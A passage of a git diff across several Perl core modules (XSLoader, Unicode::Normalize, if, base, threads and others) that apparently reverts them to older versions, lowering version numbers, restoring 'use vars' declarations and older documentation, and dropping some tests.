tweak of POD and README. - -0.22 Mon Jun 09 22:23:10 2003 - - internal tweak (again): pack_U() and unpack_U(). - -0.21 Thu Apr 02 23:12:54 2003 - - internal tweak: for (?un)pack 'U'. - -0.20 Sun Mar 02 13:29:25 2003 - - decompose Hangul syllables in a decomposition mapping. - -0.18 ... unreleased - - synchronization with bleadperl. - - Change 16262: by sadahiro - -0.17 Sun Apr 28 23:13:32 2002 - - now normalize('NFC',$1) should work. - - Some croak()'s are added in mkheader. - - synchronization with bleadperl. - - Change 15596: by sadahiro - - Change 16136: by pudge - -0.16 Thu Mar 21 13:36:14 2002 - - synchronization with bleadperl. - - Change 15318: by jhi - - Change 15319: by jhi - -0.15 Tue Mar 19 22:04:07 2002 - - Quick check is implemented. - - decompose(), reorder(), and compose() are documented. - - The Non-XS version is also independent of Lingua::KO::Hangul::Util. - -0.14 Sat Feb 02 20:40:14 2002 - - synchronization with bleadperl. - - Change 14128: by Arthur - - Change 14129: by jhi - - Change 14156: by sadahiro - - Change 14199: by Nikola Knezevic - - Change 14308: by Benjamin Goldberg - - Change 14370: by jhi - -0.13 Sat Dec 01 11:42:43 2001 - - modify Makefile.PL to enable rebuild. - (This problem is pointed out by David Dyck.) - - Change 13388: by Jarkko Hietaniemi. - -0.12 Wed Nov 29 22:49:02 2001 - - documentation in .pod is appended to .pm and the .pod is removed. - (only POD in NON-XS refers to Lingua::KO::Hangul::Util.) - -0.11 Sat Nov 24 10:18:38 2001 - - documentation of some functions for character data. - - Change 12909: by Jarkko Hietaniemi. - - Change 13228: by Peter Prymmer. - -0.10 Sat Nov 03 16:30:20 2001 - - The XS version is now independent of Lingua::KO::Hangul::Util. - (though the Non-XS version still requires that.) - -0.09 Fri Nov 02 22:39:30 2001 - - remove pTHX_. - -0.08 Thu Nov 01 23:20:42 2001 - - use Lingua::KO::Hangul::Util 0.06 and remove "hangul.h". - -0.07 Wed Oct 31 22:06:42 2001 - - modify internal. decompose() - reorder() - compose(). - -0.06 Sun Oct 28 14:28:46 2001 - - an XS version. - (but the Non-XS version is also supported.) - -0.05 Wed Oct 10 22:02:15 2001 (not released) - - %Compos contains unnecessary singletons - (though it did not cause any bug, only useless). - They will not be stored. - -0.04 Wed Aug 15 19:02:41 2001 - - fix: NFD("") and NFKD("") must return "", not but undef. - -0.03 Fri Aug 10 22:44:18 2001 - - rename the module name to Unicode::Normalize. - - normalize takes two arguments. - -0.02 Thu Aug 9 22:56:36 2001 - - add function normalize - -0.01 Mon Aug 6 21:45:11 2001 - - original version; created by h2xs 1.21 with options - -A -X -n Text::Unicode::Normalize - diff --git a/dist/Unicode-Normalize/Normalize.pm b/dist/Unicode-Normalize/Normalize.pm index adf3db50d8be..b53f5c728b93 100644 --- a/dist/Unicode-Normalize/Normalize.pm +++ b/dist/Unicode-Normalize/Normalize.pm @@ -16,7 +16,7 @@ use Carp; no warnings 'utf8'; -our $VERSION = '1.26'; +our $VERSION = '1.25'; our $PACKAGE = __PACKAGE__; our @EXPORT = qw( NFC NFD NFKC NFKD ); @@ -56,9 +56,9 @@ require Exporter; ##### The above part is common to XS and PP ##### -our @ISA = qw(Exporter); -use XSLoader (); -XSLoader::load( 'Unicode::Normalize', $VERSION ); +our @ISA = qw(Exporter DynaLoader); +require DynaLoader; +bootstrap Unicode::Normalize $VERSION; ##### The below part is common to XS and PP ##### diff --git a/dist/XSLoader/XSLoader_pm.PL b/dist/XSLoader/XSLoader_pm.PL index 66e4c2d63156..8012e35e3214 100644 --- a/dist/XSLoader/XSLoader_pm.PL +++ b/dist/XSLoader/XSLoader_pm.PL @@ -11,7 +11,7 @@ print OUT <<'EOT'; package XSLoader; -$VERSION = "0.30"; # remember to update version in POD! +$VERSION = "0.27"; #use strict; @@ -66,7 +66,6 @@ sub load { my @modparts = split(/::/,$module); my $modfname = $modparts[-1]; - my $modfname_orig = $modfname; # For .bs file search EOT @@ -141,13 +140,17 @@ print OUT <<'EOT'; # print STDERR "XSLoader::load for $module ($file)\n" if $dl_debug; - # N.B. The .bs file does not following the naming convention used - # by mod2fname, so use the unedited version of the name. + my $bs = $file; + $bs =~ s/(\.\w+)?(;\d*)?$/\.bs/; # look for .bs 'beside' the library - my $bs = "$modlibname/auto/$modpname/$modfname_orig.bs"; + if (-s $bs) { # only read file if it's not empty +# print STDERR "BS: $bs ($^O, $dlsrc)\n" if $dl_debug; + eval { local @INC = ('.'); do $bs; }; + warn "$bs: $@\n" if $@; + goto \&XSLoader::bootstrap_inherit; + } - # This calls DynaLoader::bootstrap, which will load the .bs file if present - goto \&XSLoader::bootstrap_inherit if not -f $file or -s $bs; + goto \&XSLoader::bootstrap_inherit if not -f $file; my $bootname = "boot_$module"; $bootname =~ s/\W/_/g; @@ -252,14 +255,14 @@ XSLoader - Dynamically load C libraries into Perl code =head1 VERSION -Version 0.30 +Version 0.24 =head1 SYNOPSIS package YourPackage; require XSLoader; - XSLoader::load(__PACKAGE__, $VERSION); + XSLoader::load(); =head1 DESCRIPTION @@ -280,7 +283,7 @@ A typical module using L starts like this: our @ISA = qw( OnePackage OtherPackage DynaLoader ); our $VERSION = '0.01'; - __PACKAGE__->bootstrap($VERSION); + bootstrap YourPackage $VERSION; Change this to @@ -289,7 +292,7 @@ Change this to our @ISA = qw( OnePackage OtherPackage ); our $VERSION = '0.01'; - XSLoader::load(__PACKAGE__, $VERSION); + XSLoader::load 'YourPackage', $VERSION; In other words: replace C by C, remove C from C<@ISA>, change C by C. Do not @@ -306,9 +309,10 @@ one can remove this reference to C<@ISA> together with the C<@ISA> assignment. If no C<$VERSION> was specified on the C line, the last line becomes - XSLoader::load(__PACKAGE__); + XSLoader::load 'YourPackage'; -in which case it can be further simplified to +If the call to C is from C, then that can be further +simplified to XSLoader::load(); @@ -320,17 +324,18 @@ If you want to have your cake and eat it too, you need a more complicated boilerplate. package YourPackage; + use vars qw($VERSION @ISA); - our @ISA = qw( OnePackage OtherPackage ); - our $VERSION = '0.01'; + @ISA = qw( OnePackage OtherPackage ); + $VERSION = '0.01'; eval { require XSLoader; - XSLoader::load(__PACKAGE__, $VERSION); + XSLoader::load('YourPackage', $VERSION); 1; } or do { require DynaLoader; push @ISA, 'DynaLoader'; - __PACKAGE__->bootstrap($VERSION); + bootstrap YourPackage $VERSION; }; The parentheses about C arguments are needed since we replaced @@ -388,7 +393,7 @@ boilerplate as package YourPackage; use XSLoader; - our ($VERSION, @ISA); + use vars qw($VERSION @ISA); BEGIN { @ISA = qw( OnePackage OtherPackage ); @@ -396,7 +401,7 @@ boilerplate as # Put Perl code used in the BOOT: section here - XSLoader::load(__PACKAGE__, $VERSION); + XSLoader::load 'YourPackage', $VERSION; } # Put Perl code making calls into XSUBs here @@ -411,12 +416,12 @@ this: package YourPackage; use XSLoader; - our ($VERSION, @ISA); + use vars qw($VERSION @ISA); BEGIN { @ISA = qw( OnePackage OtherPackage ); $VERSION = '0.01'; - XSLoader::load(__PACKAGE__, $VERSION); + XSLoader::load 'YourPackage', $VERSION; } # Put Perl code used in onBOOT() function here; calls to XSUBs are diff --git a/dist/autouse/t/autouse.t b/dist/autouse/t/autouse.t index 20ad9eb8d4d8..a790403f0f95 100644 --- a/dist/autouse/t/autouse.t +++ b/dist/autouse/t/autouse.t @@ -98,14 +98,13 @@ SKIP: { SKIP: { skip "Fails in 5.15.5 and below (perl bug)", 1 if $] < 5.0150051; use Config; - skip "no Hash::Util", 1 unless $Config{extensions} =~ /\bHash::Util\b/; + skip "no B", 1 unless $Config{extensions} =~ /\bB\b/; use warnings; local $^W = 1; no warnings 'once'; my $w; local $SIG{__WARN__} = sub { $w .= shift }; - # any old XS sub from any old module which uses Exporter - use autouse 'Hash::Util' => "all_keys"; - *Hash::Util::all_keys = \&all_keys; - require Hash::Util; + use autouse B => "sv_undef"; + *B::sv_undef = \&sv_undef; + require B; is $w, undef, 'no redefinition warning when clobbering autouse stub with new XSUB'; } diff --git a/dist/base/lib/base.pm b/dist/base/lib/base.pm index fb48fc295b2b..017574eaff47 100644 --- a/dist/base/lib/base.pm +++ b/dist/base/lib/base.pm @@ -2,7 +2,8 @@ use 5.008; package base; use strict 'vars'; -our $VERSION = '2.27'; +use vars qw($VERSION); +$VERSION = '2.26'; $VERSION =~ tr/_//d; # simplest way to avoid indexing of the package: no package statement diff --git a/dist/base/lib/fields.pm b/dist/base/lib/fields.pm index 93eba95bf9be..c40978bd90eb 100644 --- a/dist/base/lib/fields.pm +++ b/dist/base/lib/fields.pm @@ -10,9 +10,9 @@ unless( eval q{require warnings::register; warnings::register->import; 1} ) { Carp::carp(@_); } } -our %attr; +use vars qw(%attr $VERSION); -our $VERSION = '2.24'; +$VERSION = '2.23'; $VERSION =~ tr/_//d; # constant.pm is slow diff --git a/dist/base/t/base.t b/dist/base/t/base.t index c56e9acb4d27..0bbb5be94783 100644 --- a/dist/base/t/base.t +++ b/dist/base/t/base.t @@ -8,7 +8,7 @@ use_ok('base'); package No::Version; -our $Foo; +use vars qw($Foo); sub VERSION { 42 } package Test::Version; diff --git a/dist/base/t/fields-5_6_0.t b/dist/base/t/fields-5_6_0.t index 1f7d96785178..93bca34e2e09 100644 --- a/dist/base/t/fields-5_6_0.t +++ b/dist/base/t/fields-5_6_0.t @@ -8,7 +8,7 @@ if( $] >= 5.009 ) { } use strict; -our $Total_tests; +use vars qw($Total_tests); my $test_num = 1; BEGIN { $| = 1; $^W = 1; } @@ -62,7 +62,7 @@ BEGIN { } use strict; -our $DEBUG; +use vars qw($DEBUG); package B1; use fields qw(b1 b2 b3); diff --git a/dist/base/t/fields-5_8_0.t b/dist/base/t/fields-5_8_0.t index 2888ead9a82c..9abab94d3937 100644 --- a/dist/base/t/fields-5_8_0.t +++ b/dist/base/t/fields-5_8_0.t @@ -22,7 +22,7 @@ BEGIN { } use strict; -our $DEBUG; +use vars qw($DEBUG); package B1; use fields qw(b1 b2 b3); diff --git a/dist/constant/t/constant.t b/dist/constant/t/constant.t index 80147c6a2d78..442b81963c02 100644 --- a/dist/constant/t/constant.t +++ b/dist/constant/t/constant.t @@ -1,7 +1,7 @@ #!./perl -T use warnings; -our ( @warnings, $fagwoosh, $putt, $kloong ); +use vars qw{ @warnings $fagwoosh $putt $kloong}; BEGIN { # ...and save 'em for later $SIG{'__WARN__'} = sub { push @warnings, @_ } } diff --git a/dist/if/Changes b/dist/if/Changes index c58c8392696d..99568624a318 100644 --- a/dist/if/Changes +++ b/dist/if/Changes @@ -1,14 +1,5 @@ Revision history for Perl extension if. -0.0608 2018-02-01 - - Clarify documentation and test more thoroughly. - [perl 132732] use if - behaviour does not match documentation - -0.0607 2017-06-01 - - Add documentation re modules with empty import list - [perl 131142] "if" pragma POD addition for modules with an - empty import list - 0.0606 2015-10-01 - add license information to pod diff --git a/dist/if/MANIFEST b/dist/if/MANIFEST deleted file mode 100644 index e2fa5ba37a63..000000000000 --- a/dist/if/MANIFEST +++ /dev/null @@ -1,8 +0,0 @@ -Changes -if.pm -LICENSE -Makefile.PL -MANIFEST -META.json Module meta-data (added by MakeMaker) -META.yml Module meta-data (added by MakeMaker) -t/if.t diff --git a/dist/if/META.json b/dist/if/META.json deleted file mode 100644 index 7e9e3ebfad2b..000000000000 --- a/dist/if/META.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "abstract" : "C a Perl module if a condition holds", - "author" : [ - "Ilya Zakharevich " - ], - "dynamic_config" : 0, - "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010", - "license" : [ - "perl_5" - ], - "meta-spec" : { - "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec", - "version" : "2" - }, - "name" : "if", - "no_index" : { - "directory" : [ - "t", - "inc" - ] - }, - "prereqs" : { - "build" : { - "requires" : { - "ExtUtils::MakeMaker" : "0" - } - }, - "configure" : { - "requires" : { - "ExtUtils::MakeMaker" : "0" - } - } - }, - "release_status" : "stable", - "resources" : { - "bugtracker" : { - "web" : "https://rt.perl.org" - }, - "repository" : {} - }, - "version" : "0.0608", - "x_serialization_backend" : "JSON::PP version 2.27400_02" -} diff --git a/dist/if/META.yml b/dist/if/META.yml deleted file mode 100644 index d85cfc668736..000000000000 --- a/dist/if/META.yml +++ /dev/null @@ -1,23 +0,0 @@ ---- -abstract: 'C a Perl module if a condition holds' -author: - - 'Ilya Zakharevich ' -build_requires: - ExtUtils::MakeMaker: '0' -configure_requires: - ExtUtils::MakeMaker: '0' -dynamic_config: 0 -generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010' -license: perl -meta-spec: - url: http://module-build.sourceforge.net/META-spec-v1.4.html - version: '1.4' -name: if -no_index: - directory: - - t - - inc -resources: - bugtracker: https://rt.perl.org -version: '0.0608' -x_serialization_backend: 'CPAN::Meta::YAML version 0.018' diff --git a/dist/if/if.pm b/dist/if/if.pm index 166de7bb10c4..1985df4db188 100644 --- a/dist/if/if.pm +++ b/dist/if/if.pm @@ -1,6 +1,6 @@ package if; -$VERSION = '0.0608'; +$VERSION = '0.0606'; sub work { my $method = shift() ? 'import' : 'unimport'; @@ -25,70 +25,67 @@ __END__ =head1 NAME -if - C a Perl module if a condition holds +if - C a Perl module if a condition holds (also can C a module) =head1 SYNOPSIS - use if CONDITION, "MODULE", ARGUMENTS; - no if CONDITION, "MODULE", ARGUMENTS; + use if CONDITION, MODULE => ARGUMENTS; + no if CONDITION, MODULE => ARGUMENTS; =head1 DESCRIPTION -=head2 C +The C module is used to conditionally load or unload another module. +The construct -The C module is used to conditionally load another module. The construct: + use if CONDITION, MODULE => ARGUMENTS; - use if CONDITION, "MODULE", ARGUMENTS; +will load MODULE only if CONDITION evaluates to true. +The above statement has no effect unless C is true. +If the CONDITION does evaluate to true, then the above line has +the same effect as: -... will load C only if C evaluates to true; it has no -effect if C evaluates to false. (The module name, assuming it -contains at least one C<::>, must be quoted when C<'use strict "subs";'> is in -effect.) If the CONDITION does evaluate to true, then the above line has the -same effect as: + use MODULE ARGUMENTS; - use MODULE ARGUMENTS; +The use of C<< => >> above provides necessary quoting of C. +If you don't use the fat comma (eg you don't have any ARGUMENTS), +then you'll need to quote the MODULE. -For example, the F module's F function will use two functions from F only if a certain condition is met: +=head2 EXAMPLES - use if defined &DynaLoader::boot_DynaLoader, - "Unicode::Normalize" => qw(getCombinClass NFD); +The following line is taken from the testsuite for L: -Suppose you wanted C to be an empty list, I, to have the -effect of: + use if $^O ne 'MSWin32', POSIX => qw/setlocale LC_ALL/; - use MODULE (); +If run on any operating system other than Windows, +this will import the functions C and C from L. +On Windows it does nothing. -You can't do this with the C pragma; however, you can achieve -exactly this effect, at compile time, with: +The following is used to L core modules beyond a certain version of Perl: - BEGIN { require MODULE if CONDITION } + use if $] > 5.016, 'deprecate'; -=head2 C +This line is taken from L 3.04, +and marks it as deprecated beyond Perl 5.16. +If you C in Perl 5.18, for example, +and you have used L, +then you'll get a warning message +(the deprecate module looks to see whether the +calling module was C'd from a core library directory, +and if so, generates a warning), +unless you've installed a more recent version of L from CPAN. -The C construct is mainly used to deactivate categories of warnings -when those categories would produce superfluous output under specified -versions of F. +You can also specify to NOT use something: -For example, the C category of warnings was introduced in -Perl-5.22. This warning flags certain instances of superfluous arguments to -C and C. But if your code was running warnings-free on -earlier versions of F and you don't care about C warnings in -more recent versions, you can call: + no if $] ge 5.021_006, warnings => "locale"; - use warnings; - no if $] >= 5.022, q|warnings|, qw(redundant); - - my $test = { fmt => "%s", args => [ qw( x y ) ] }; - my $result = sprintf $test->{fmt}, @{$test->{args}}; - -The C construct assumes that a module or pragma has correctly -implemented an C method -- but most modules and pragmata have not. -That explains why the C construct is of limited applicability. +This warning category was added in the specified Perl version (a development +release). Without the C<'if'>, trying to use it in an earlier release would +generate an unknown warning category error. =head1 BUGS -The current implementation does not allow specification of the required -version of the module. +The current implementation does not allow specification of the +required version of the module. =head1 SEE ALSO @@ -99,8 +96,8 @@ Unlike C though, L is not a core module. L provides a number of functions you can use to query what modules are available, and then load one or more of them at runtime. -The L module from CPAN can be used to select one of several possible -modules to load based on the version of Perl that is running. +L can be used to select one of several possible modules to load, +based on what version of Perl is running. =head1 AUTHOR diff --git a/dist/if/t/if.t b/dist/if/t/if.t index 999a30f301c4..4a2b351aaf46 100644 --- a/dist/if/t/if.t +++ b/dist/if/t/if.t @@ -1,9 +1,9 @@ #!./perl use strict; -use Test::More tests => 18; +use Test::More tests => 10; -my $v_plus = $] + 1; +my $v_plus = $] + 1; my $v_minus = $] - 1; unless (eval 'use open ":std"; 1') { @@ -12,85 +12,29 @@ unless (eval 'use open ":std"; 1') { eval 'sub open::foo{}'; # Just in case... } -{ - no strict; +no strict; - is( eval "use if ($v_minus > \$]), strict => 'subs'; \${'f'} = 12", 12, - '"use if" with a false condition, fake pragma'); - is( eval "use if ($v_minus > \$]), strict => 'refs'; \${'f'} = 12", 12, - '"use if" with a false condition and a pragma'); +is( eval "use if ($v_minus > \$]), strict => 'subs'; \${'f'} = 12", 12, + '"use if" with a false condition, fake pragma'); +is( eval "use if ($v_minus > \$]), strict => 'refs'; \${'f'} = 12", 12, + '"use if" with a false condition and a pragma'); - is( eval "use if ($v_plus > \$]), strict => 'subs'; \${'f'} = 12", 12, - '"use if" with a true condition, fake pragma'); +is( eval "use if ($v_plus > \$]), strict => 'subs'; \${'f'} = 12", 12, + '"use if" with a true condition, fake pragma'); - is( eval "use if ($v_plus > \$]), strict => 'refs'; \${'f'} = 12", undef, - '"use if" with a true condition and a pragma'); - like( $@, qr/while "strict refs" in use/, 'expected error message'), +is( eval "use if ($v_plus > \$]), strict => 'refs'; \${'f'} = 12", undef, + '"use if" with a true condition and a pragma'); +like( $@, qr/while "strict refs" in use/, 'expected error message'), - # Old version had problems with the module name 'open', which is a keyword too - # Use 'open' =>, since pre-5.6.0 could interpret differently - is( (eval "use if ($v_plus > \$]), 'open' => IN => ':crlf'; 12" || 0), 12, - '"use if" with open'); +# Old version had problems with the module name 'open', which is a keyword too +# Use 'open' =>, since pre-5.6.0 could interpret differently +is( (eval "use if ($v_plus > \$]), 'open' => IN => ':crlf'; 12" || 0), 12, + '"use if" with open'); - is(eval "use if ($v_plus > \$])", undef, - "Too few args to 'use if' returns "); - like($@, qr/Too few arguments to 'use if'/, " ... and returns correct error"); +is(eval "use if ($v_plus > \$])", undef, + "Too few args to 'use if' returns "); +like($@, qr/Too few arguments to 'use if'/, " ... and returns correct error"); - is(eval "no if ($v_plus > \$])", undef, - "Too few args to 'no if' returns "); - like($@, qr/Too few arguments to 'no if'/, " ... and returns correct error"); -} - -{ - note(q|RT 132732: strict 'subs'|); - use strict "subs"; - - { - SKIP: { - unless ($] >= 5.018) { - skip "bigrat apparently not testable prior to perl-5.18", 4; - } - note(q|strict "subs" : 'use if' : condition false|); - eval "use if (0 > 1), q|bigrat|, qw(hex oct);"; - ok (! main->can('hex'), "Cannot call bigrat::hex() in importing package"); - ok (! main->can('oct'), "Cannot call bigrat::oct() in importing package"); - - note(q|strict "subs" : 'use if' : condition true|); - eval "use if (1 > 0), q|bigrat|, qw(hex oct);"; - ok ( main->can('hex'), "Can call bigrat::hex() in importing package"); - ok ( main->can('oct'), "Can call bigrat::oct() in importing package"); - } - } - - { - note(q|strict "subs" : 'no if' : condition variable|); - note(($] >= 5.022) ? "Recent enough Perl: $]" : "Older Perl: $]"); - use warnings; - SKIP: { - unless ($] >= 5.022) { - skip "Redundant argument warning not available in pre-5.22 perls", 4; - } - - { - no if $] >= 5.022, q|warnings|, qw(redundant); - my ($test, $result, $warn); - local $SIG{__WARN__} = sub { $warn = shift }; - $test = { fmt => "%s", args => [ qw( x y ) ] }; - $result = sprintf $test->{fmt}, @{$test->{args}}; - is($result, $test->{args}->[0], "Got expected string"); - ok(! $warn, "Redundant argument warning suppressed"); - } - - { - use if $] >= 5.022, q|warnings|, qw(redundant); - my ($test, $result, $warn); - local $SIG{__WARN__} = sub { $warn = shift }; - $test = { fmt => "%s", args => [ qw( x y ) ] }; - $result = sprintf $test->{fmt}, @{$test->{args}}; - is($result, $test->{args}->[0], "Got expected string"); - like($warn, qr/Redundant argument in sprintf/, - "Redundant argument warning generated and captured"); - } - } - } -} +is(eval "no if ($v_plus > \$])", undef, + "Too few args to 'no if' returns "); +like($@, qr/Too few arguments to 'no if'/, " ... and returns correct error"); diff --git a/dist/threads-shared/lib/threads/shared.pm b/dist/threads-shared/lib/threads/shared.pm index b9ba66e85b78..73c4dd997f5b 100644 --- a/dist/threads-shared/lib/threads/shared.pm +++ b/dist/threads-shared/lib/threads/shared.pm @@ -7,7 +7,7 @@ use warnings; use Scalar::Util qw(reftype refaddr blessed); -our $VERSION = '1.58'; # Please update the pod, too. +our $VERSION = '1.56'; # Please update the pod, too. my $XS_VERSION = $VERSION; $VERSION = eval $VERSION; @@ -195,7 +195,7 @@ threads::shared - Perl extension for sharing data structures between threads =head1 VERSION -This document describes threads::shared version 1.58 +This document describes threads::shared version 1.56 =head1 SYNOPSIS diff --git a/dist/threads-shared/shared.xs b/dist/threads-shared/shared.xs index d0f7d1e070cf..3c1b5e608cd3 100644 --- a/dist/threads-shared/shared.xs +++ b/dist/threads-shared/shared.xs @@ -128,15 +128,6 @@ # include "shared.h" #endif -#ifndef CLANG_DIAG_IGNORE -# define CLANG_DIAG_IGNORE(x) -# define CLANG_DIAG_RESTORE -#endif -#ifndef CLANG_DIAG_IGNORE_STMT -# define CLANG_DIAG_IGNORE_STMT(x) CLANG_DIAG_IGNORE(x) NOOP -# define CLANG_DIAG_RESTORE_STMT CLANG_DIAG_RESTORE NOOP -#endif - #ifdef USE_ITHREADS /* Magic signature(s) for mg_private to make PERL_MAGIC_ext magic safer */ @@ -665,10 +656,16 @@ Perl_sharedsv_cond_timedwait(perl_cond *cond, perl_mutex *mut, double abs) abs -= (NV)ts.tv_sec; ts.tv_nsec = (long)(abs * 1000000000.0); - CLANG_DIAG_IGNORE_STMT(-Wthread-safety); +#if defined(__clang__) || defined(__clang) + CLANG_DIAG_IGNORE(-Wthread-safety); /* warning: calling function 'pthread_cond_timedwait' requires holding mutex 'mut' exclusively [-Wthread-safety-analysis] */ +#endif + switch (pthread_cond_timedwait(cond, mut, &ts)) { - CLANG_DIAG_RESTORE_STMT; + +#if defined(__clang__) || defined(__clang) +CLANG_DIAG_RESTORE; +#endif case 0: got_it = 1; break; case ETIMEDOUT: break; diff --git a/dist/threads/lib/threads.pm b/dist/threads/lib/threads.pm index 1b99567ef239..d174f7249655 100644 --- a/dist/threads/lib/threads.pm +++ b/dist/threads/lib/threads.pm @@ -5,7 +5,7 @@ use 5.008; use strict; use warnings; -our $VERSION = '2.22'; # remember to update version in POD! +our $VERSION = '2.15'; my $XS_VERSION = $VERSION; $VERSION = eval $VERSION; @@ -134,7 +134,7 @@ threads - Perl interpreter-based threads =head1 VERSION -This document describes threads version 2.21 +This document describes threads version 2.15 =head1 WARNING @@ -937,33 +937,6 @@ C) will affect all the threads in the application. On MSWin32, each thread maintains its own the current working directory setting. -=item Locales - -Prior to Perl 5.28, locales could not be used with threads, due to various -race conditions. Starting in that release, on systems that implement -thread-safe locale functions, threads can be used, with some caveats. -This includes Windows starting with Visual Studio 2005, and systems compatible -with POSIX 2008. See L. - -Each thread (except the main thread) is started using the C locale. The main -thread is started like all other Perl programs; see L. -You can switch locales in any thread as often as you like. - -If you want to inherit the parent thread's locale, you can, in the parent, set -a variable like so: - - $foo = POSIX::setlocale(LC_ALL, NULL); - -and then pass to threads->create() a sub that closes over C<$foo>. Then, in -the child, you say - - POSIX::setlocale(LC_ALL, $foo); - -Or you can use the facilities in L to pass C<$foo>; -or if the environment hasn't changed, in the child, do - - POSIX::setlocale(LC_ALL, ""); - =item Environment variables Currently, on all platforms except MSWin32, all I calls (e.g., using @@ -1014,6 +987,13 @@ L to relay the signal to the thread: On some platforms, it might not be possible to destroy I threads while there are still existing I threads. +=item Creating threads inside special blocks + +Creating threads inside C, C or C blocks should not be +relied upon. Depending on the Perl version and the application code, results +may range from success, to (apparently harmless) warnings of leaked scalar, or +all the way up to crashing of the Perl interpreter. + =item Unsafe signals Since Perl 5.8.0, signals have been made safer in Perl by postponing their @@ -1038,27 +1018,16 @@ signalling behavior is only in effect in the following situations: If unsafe signals is in effect, then signal handling is not thread-safe, and the C<-Ekill()> signalling method cannot be used. -=item Identity of objects returned from threads - -When a value is returned from a thread through a C operation, -the value and everything that it references is copied across to the -joining thread, in much the same way that values are copied upon thread -creation. This works fine for most kinds of value, including arrays, -hashes, and subroutines. The copying recurses through array elements, -reference scalars, variables closed over by subroutines, and other kinds -of reference. +=item Returning closures from threads -However, everything referenced by the returned value is a fresh copy in -the joining thread, even if a returned object had in the child thread -been a copy of something that previously existed in the parent thread. -After joining, the parent will therefore have a duplicate of each such -object. This sometimes matters, especially if the object gets mutated; -this can especially matter for private data to which a returned subroutine -provides access. +Returning closures from threads should not be relied upon. Depending on the +Perl version and the application code, results may range from success, to +(apparently harmless) warnings of leaked scalar, or all the way up to crashing +of the Perl interpreter. -=item Returning blessed objects from threads +=item Returning objects from threads -Returning blessed objects from threads does not work. Depending on the classes +Returning objects from threads does not work. Depending on the classes involved, you may be able to work around this by returning a serialized version of the object (e.g., using L or L), and then reconstituting it in the joining thread. If you're using Perl 5.10.0 or diff --git a/dist/threads/t/exit.t b/dist/threads/t/exit.t index 2edc2625462b..bad602f8bbb6 100644 --- a/dist/threads/t/exit.t +++ b/dist/threads/t/exit.t @@ -48,7 +48,7 @@ my $rc = $thr->join(); ok(! defined($rc), 'Exited: threads->exit()'); -run_perl(prog => 'use threads 2.21;' . +run_perl(prog => 'use threads 2.15;' . 'threads->exit(86);' . 'exit(99);', nolib => ($ENV{PERL_CORE}) ? 0 : 1, @@ -98,7 +98,7 @@ $rc = $thr->join(); ok(! defined($rc), 'Exited: $thr->set_thread_exit_only'); -run_perl(prog => 'use threads 2.21 qw(exit thread_only);' . +run_perl(prog => 'use threads 2.15 qw(exit thread_only);' . 'threads->create(sub { exit(99); })->join();' . 'exit(86);', nolib => ($ENV{PERL_CORE}) ? 0 : 1, @@ -108,7 +108,7 @@ run_perl(prog => 'use threads 2.21 qw(exit thread_only);' . is($?>>8, 86, "'use threads 'exit' => 'thread_only'"); } -my $out = run_perl(prog => 'use threads 2.21;' . +my $out = run_perl(prog => 'use threads 2.15;' . 'threads->create(sub {' . ' exit(99);' . '});' . @@ -124,7 +124,7 @@ my $out = run_perl(prog => 'use threads 2.21;' . like($out, qr/1 finished and unjoined/, "exit(status) in thread"); -$out = run_perl(prog => 'use threads 2.21 qw(exit thread_only);' . +$out = run_perl(prog => 'use threads 2.15 qw(exit thread_only);' . 'threads->create(sub {' . ' threads->set_thread_exit_only(0);' . ' exit(99);' . @@ -141,7 +141,7 @@ $out = run_perl(prog => 'use threads 2.21 qw(exit thread_only);' . like($out, qr/1 finished and unjoined/, "set_thread_exit_only(0)"); -run_perl(prog => 'use threads 2.21;' . +run_perl(prog => 'use threads 2.15;' . 'threads->create(sub {' . ' $SIG{__WARN__} = sub { exit(99); };' . ' die();' . diff --git a/dist/threads/t/kill3.t b/dist/threads/t/kill3.t index 61c96e58cb98..53f846deec72 100644 --- a/dist/threads/t/kill3.t +++ b/dist/threads/t/kill3.t @@ -36,9 +36,8 @@ BEGIN { { $SIG{'KILL'} = undef; - my $tmp = File::Spec->tmpdir(); - chdir $tmp; - my $dir = File::Spec->catdir( $tmp, "toberead$$" ); + chdir '/tmp'; + my $dir = File::Spec->catdir( '/tmp', "toberead$$" ); mkdir $dir; chdir $dir; for ('a'..'e') { @@ -78,9 +77,8 @@ EOI { $SIG{'KILL'} = undef; - my $tmp = File::Spec->tmpdir(); - chdir $tmp; - my $dir = File::Spec->catdir( $tmp, "shouldberead$$" ); + chdir '/tmp'; + my $dir = File::Spec->catdir( '/tmp', "shouldberead$$" ); mkdir $dir; chdir $dir; for ('a'..'e') { diff --git a/dist/threads/t/problems.t b/dist/threads/t/problems.t index 3657d3403e11..3f28c0f3b51d 100644 --- a/dist/threads/t/problems.t +++ b/dist/threads/t/problems.t @@ -21,14 +21,18 @@ BEGIN { $| = 1; if ($] == 5.008) { - print("1..6\n"); ### Number of tests that will be run ### + print("1..11\n"); ### Number of tests that will be run ### } else { - print("1..10\n"); ### Number of tests that will be run ### + print("1..15\n"); ### Number of tests that will be run ### } }; print("ok 1 - Loaded\n"); +### Start of Testing ### + +no warnings 'deprecated'; # Suppress warnings related to :unique + use Hash::Util 'lock_keys'; my $test :shared = 2; @@ -89,6 +93,50 @@ if ($] != 5.008) } +# bugid 24383 - :unique hashes weren't being made readonly on interpreter +# clone; check that they are. + +our $unique_scalar : unique; +our @unique_array : unique; +our %unique_hash : unique; +threads->create(sub { + lock($test); + my $TODO = ":unique needs to be re-implemented in a non-broken way"; + eval { $unique_scalar = 1 }; + print $@ =~ /read-only/ + ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n"; + $test++; + eval { $unique_array[0] = 1 }; + print $@ =~ /read-only/ + ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n"; + $test++; + if ($] >= 5.008003 && $^O ne 'MSWin32') { + eval { $unique_hash{abc} = 1 }; + print $@ =~ /disallowed/ + ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n"; + } else { + print("ok $test # SKIP $TODO - unique_hash\n"); + } + $test++; + })->join; + +# bugid #24940 :unique should fail on my and sub declarations + +for my $decl ('my $x : unique', 'sub foo : unique') { + { + lock($test); + if ($] >= 5.008005) { + eval $decl; + print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/ + ? '' : 'not ', "ok $test - $decl\n"; + } else { + print("ok $test # SKIP $decl\n"); + } + $test++; + } +} + + # Returning a closure from a thread caused problems. If the last index in # the anon 